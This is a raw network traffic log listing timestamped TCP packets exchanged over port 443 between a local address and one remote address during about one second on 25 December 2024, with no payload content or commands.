Dec 25, 2024 15:09:13.779432058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.779454947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.779489040 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.779510975 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.816350937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.816435099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.820089102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.820125103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.820166111 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.820192099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.820219994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.820241928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.825208902 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.825248003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.825284004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.825299025 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.825330019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.825350046 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.825946093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.826049089 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.830130100 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.830164909 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.830202103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.830214977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.830245018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.830266953 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.832601070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.832664967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.832672119 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.835670948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.835709095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.835741997 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.835748911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.835789919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.841212034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.841249943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.841280937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.841286898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.841337919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.849950075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.849982977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.850013971 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.850019932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.850060940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.850075960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.921890974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.921924114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.921972036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.921988010 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.922018051 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.922038078 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.971940994 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.971970081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.972028017 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.972043037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:13.972073078 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:13.972091913 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.011483908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.011506081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.011550903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.011565924 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.011615992 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.011615992 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.012128115 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.017127037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.017148972 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.017210007 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.017231941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.017256021 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.020317078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.020348072 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.020394087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.020411968 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.020626068 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.022775888 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.022859097 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.023530960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.023601055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.024466038 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.024527073 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.027571917 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.027652025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.027667999 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.032378912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.032402039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.032435894 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.032443047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.032470942 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.042249918 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.042270899 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.042303085 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.042310953 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.042351007 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.086771011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.114262104 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.114290953 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.114362001 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.114406109 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.114434004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.116226912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.163340092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.163379908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.163414001 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.163439035 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.163470030 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.203460932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.203480959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.203533888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.203553915 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.203579903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.208779097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.208801031 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.208842039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.208859921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.208893061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.211245060 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.211311102 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.211340904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.214518070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.214553118 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.214587927 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.214603901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.214677095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.215950966 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.216016054 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.219057083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.219126940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.219141960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.222739935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.222771883 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.222806931 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.222822905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.222851038 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.224865913 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.224932909 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.224947929 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.225033045 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.226675034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.226738930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.233486891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.233555079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.233563900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.233634949 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.234189034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.234235048 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.234986067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.235042095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.237587929 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.237647057 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.305802107 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.305870056 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.306180954 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.306242943 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.310235023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.310265064 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.310302019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.310323000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.310347080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.352375031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.358093023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.358167887 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.393690109 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.393759012 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.394397974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.394486904 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.395139933 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.395204067 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.400990009 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.401012897 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.401065111 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.401079893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.401113033 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.402699947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.402770042 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.402797937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.402987003 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.403980017 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.404051065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.405666113 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.405740976 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.407187939 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.407253027 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.409703970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.409778118 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.410330057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.410396099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.413611889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.413682938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.413696051 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.413774967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.416173935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.416241884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.416255951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.425321102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.425343037 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.425384998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.425401926 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.425427914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.426130056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.426187038 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.426202059 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.477488995 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.498116016 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.498143911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.498202085 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.498234034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.498265982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.498287916 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.498389006 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.498446941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.501513004 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.501583099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.501597881 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.555502892 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.585767031 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.585787058 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.585845947 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.585860014 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.585885048 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.585908890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.591495991 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.591517925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.591567993 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.591576099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.591604948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.591619968 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.596868038 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.596893072 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.596944094 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.596951008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.596971989 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.596992970 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.599368095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.599437952 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.601669073 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.601725101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.605734110 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.605762959 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.605797052 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.605806112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.605837107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.605846882 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.608110905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.608175993 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.610173941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.610243082 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.617620945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.617656946 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.617696047 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.617710114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.617742062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.617763996 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.690239906 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.690265894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.690319061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.690344095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.690371037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.690390110 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.690572977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.690629959 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.742296934 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.742321014 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.742391109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.742455006 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.742492914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.742517948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.778052092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.778096914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.778130054 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.778151989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.778409958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.779678106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.779767990 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.785222054 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.785242081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.785296917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.785311937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.785341024 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.785542965 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.785554886 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.790838957 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.790865898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.790925026 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.790941000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.790972948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.790992022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.791502953 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.793132067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.793196917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.793205023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.795511961 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.795578003 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.795588017 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.795627117 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.799635887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.799680948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.799720049 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.799731016 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.799782991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.799802065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.802623987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.802690029 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.802699089 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.810244083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.810283899 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.810327053 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.810343027 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.810352087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.810476065 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.811705112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.811779022 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.882621050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.882663965 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.882699966 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.882721901 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.882735014 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.882764101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.883969069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.884022951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.884854078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.884902954 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.970002890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.970026970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.970093966 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.970108032 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.970163107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.970784903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.970841885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.974936008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.974977970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.975014925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.975023031 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.975061893 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.976486921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.976548910 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.981977940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.982001066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.982048035 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:14.982055902 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:14.982090950 CET	49734	443	192.168.2.4	104.21.16.1
